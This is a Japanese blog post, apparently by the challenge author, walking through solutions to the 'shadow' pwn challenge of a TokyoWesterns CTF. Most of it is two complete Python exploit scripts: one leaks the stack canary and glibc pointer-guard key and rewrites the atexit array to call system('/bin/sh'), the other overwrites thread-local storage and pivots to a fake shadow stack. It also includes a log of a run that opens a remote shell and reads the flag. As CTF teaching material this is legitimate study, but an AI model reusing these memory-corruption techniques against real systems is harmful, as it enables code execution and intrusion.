atexitの配列のアドレスが分かったら,そこにsystem関数とそれに与える"/bin/sh"のアドレスを格納します.
ただ置くだけでは勿論動かないので,先程のgs:0x18を使ってエンコードが必要です.
関数ポインタはgs:0x18でxorしてから左に9ローテーション,引数のポインタはそのままで大丈夫です.

事前準備が完了したら,canaryを戻してやってcountを0にし,正常にexitを呼ばせます.
__stack_chk_failでこけたらアボートしちゃうのでダメです.

さて,これを実装したexploitです

#!/usr/bin/env python
from sc_pwn import *
from shadow import Shadow

env = Environment('local', 'remote')
env.set_item('target',  local   = {'host':'192.168.75.139','port':8080}, \
                        remote  = {'host':'pwn2.chal.ctf.westerns.tokyo','port':18294})
env.select()

binf = ELF('shadow')
libc = ELF('../libc-2.19.so_remote')

addr__main_rfm      = binf.function('main')+0x54
addr_got_exit       = binf.got('exit')

#==========

def attack(cmn):
    sd = Shadow(cmn)
    
    sd.message('hoge', -1, 'a'*0x20+'!')
    
    cmn.read_until('a!')
    canary                  = unpack_32('\x00'+cmn.read(3))
    info("canary            = 0x%08x"%canary)

    #==========
    
    sd.message(None, -1, 'a'*0x2b+'!')
    
    cmn.read_until('a!')
    old_ebp                 = unpack_32(cmn.read(4))
    addr_enc_addr           = old_ebp-0x3c
    addr_2p_arr_atexit      = old_ebp+0x14
    info("old_ebp           = 0x%08x"%old_ebp)
    
    #==========
    
    enc_key                 = sd.read_word(addr_enc_addr)^addr__main_rfm
    info("enc_key           = 0x%08x"%enc_key)
    
    addr_libc_p_arr_atexit  = sd.read_word(addr_2p_arr_atexit)
    addr_arr_atexit         = sd.read_word(addr_libc_p_arr_atexit)
    info("addr_arr_atexit   = 0x%08x"%addr_arr_atexit)
    
    #==========

    addr_libc_exit          = sd.read_word(addr_got_exit)
    
    libc.set_location('exit', addr_libc_exit)
    addr_libc_system        = libc.function('system')
    addr_libc_str_sh        = libc.search('/bin/sh')
    
    info("addr_libc_system  = 0x%08x"%addr_libc_system)

    #==========

    funcs        = [(addr_libc_system, addr_libc_str_sh)]
    arr_atexit   = gen_arr_atexit(enc_key, funcs)

    sd.write_data(addr_arr_atexit, arr_atexit)

    #==========
    
    exploit  = 'a'*0x20
    exploit += pack_32(canary)
    exploit += 'a'*0x10
    exploit += pack_32(addr_libc_str_sh)
    exploit += pack_32(0)
    exploit += pack_32(0)
    sd.message(None, -1, exploit)
    
    cmn.read_all()

def gen_arr_atexit(key, funcs):
    arr_atexit  = pack_32(0)
    arr_atexit += pack_32(len(funcs))
    for i in range(len(funcs))[::-1]:
        arr_atexit += pack_32(4)
        arr_atexit += pack_32(rol(funcs[i][0]^key, 9, 32))
        arr_atexit += pack_32(funcs[i][1])
        arr_atexit += pack_32(0)

    return arr_atexit

#==========

if __name__=='__main__':
    cmn = Communicate(env.target,mode='SOCKET')
    attack(cmn)

    sh = Shell(cmn)
    sh.select()
    del(sh)
    
    del(cmn)
    
#==========

実行した結果です.

Select Environment
['remote', 'local'] ...
[+]Environment : set environment "remote"
[*]Loading "shadow"...
[*]Loading "../libc-2.19.so_remote"...
[*]Connect to pwn2.chal.ctf.westerns.tokyo:18294
[+]canary            = 0x010c8b00
[+]old_ebp           = 0xff8c93ec
[+]enc_key           = 0xfc42a56b
[+]addr_arr_atexit   = 0xf776d1e0
[+]"../libc-2.19.so_remote" is loaded on 0xf75c1000
[+]addr_libc_system  = 0xf7601310
[A]dvanced      [N]ormal        [I]nteractive   [R]everseShell
[S]tatus        [E]xit
(A/N/I/R/S/E)...n
$ls -al
total 28
drwxr-x--- 2 root p18294  4096 Sep  3 16:05 .
drwxr-xr-x 6 root root    4096 Sep  2 23:49 ..
-rw-r----- 1 root p18294    47 Sep  2 23:49 flag
-rwxr-x--- 1 root p18294 12300 Sep  3 16:05 shadow
$cat flag
TWCTF{pr3v3n7_ROP_u51ng_h0m3m4d3_5h4d0w_574ck}
$exit

[*]Network Disconnect...
Enter any key to close...

上手く動きました.

TLS(追記:10/30)

TLS(Thread Local Storage)を書き換える方法です.
説明は暇があったら・・・

#!/usr/bin/env python
from sc_pwn import *
from shadow import Shadow

env = Environment('local', 'remote')
env.set_item('target',  local   = {'host':'192.168.75.139','port':8080}, \
                        remote  = {'host':'pwn2.chal.ctf.westerns.tokyo','port':18294})
env.select('local')

binf = ELF('shadow', rop=True)
libc = ELF('../libc-2.19.so_remote')

addr_got_exit       = binf.got('exit')
addr_plt_exit       = binf.plt('exit')

addr_bss            = binf.section('.bss')
addr_buf_shadow     = addr_bss + 0x800

addr_leave          = binf.ropgadget('leave', 'ret')

#==========

def attack(cmn):
    sd = Shadow(cmn)
    
    sd.message(None, -1, 'a'*0x2b+'!')
    cmn.read_until('a!')
    old_ebp                 = unpack_32(cmn.read(4))
    info("old_ebp           = 0x%08x"%old_ebp)

    addr_ptr_tls            = old_ebp-0x4a0
    addr_tls                = sd.read_word(addr_ptr_tls)
    info("addr_tls          = 0x%08x"%addr_tls)

    #==========

    addr_libc_exit          = sd.read_word(addr_got_exit)
    libc.set_location('exit', addr_libc_exit)
    addr_libc_system        = libc.function('system')
    addr_libc_str_sh        = libc.search('/bin/sh')
    
    info("addr_libc_system  = 0x%08x"%addr_libc_system)

    #==========

    shadow_stack  = pack_32(addr_buf_shadow+0x20)
    shadow_stack += pack_32(addr_leave)
    shadow_stack += '\x00'*(0x20-len(shadow_stack))
    shadow_stack += pack_32(0xdeadbeef)
    shadow_stack += pack_32(addr_libc_system)
    shadow_stack += pack_32(addr_plt_exit)
    shadow_stack += pack_32(addr_libc_str_sh)
    sd.write_data(addr_buf_shadow, shadow_stack)

    arr_tls  = pack_32(0)                   # gs:0x18 (xor_key)
    arr_tls += pack_32(0)                   # gs:0x1c
    arr_tls += pack_32(addr_buf_shadow)     # gs:0x20 (sp)
    
    exploit  = 'a'*0x34
    exploit += pack_32(addr_tls+0x18)
    exploit += pack_32(len(arr_tls))
    exploit += pack_32(100)
    sd.message(None, -1, exploit)

    cmn.read_until(' : ')
    cmn.sendln('y')
    cmn.read_until('name : ')
    cmn.send(arr_tls)

#==========

if __name__=='__main__':
    cmn = Communicate(env.target,mode='SOCKET')
    attack(cmn)

    sh = Shell(cmn)
    sh.select()
    del(sh)
    
    del(cmn)
    
#==========

以上が僕の作った問題でした.

どうでしたでしょうか?
多々至らない点はあったかと思いますが,楽しんでもらえていれば嬉しいです.

最後にまた宣伝なのですが,もし良かったらオレオレPwnライブラリのsc_pwn使ってみてください. github.com

ありがとうございました!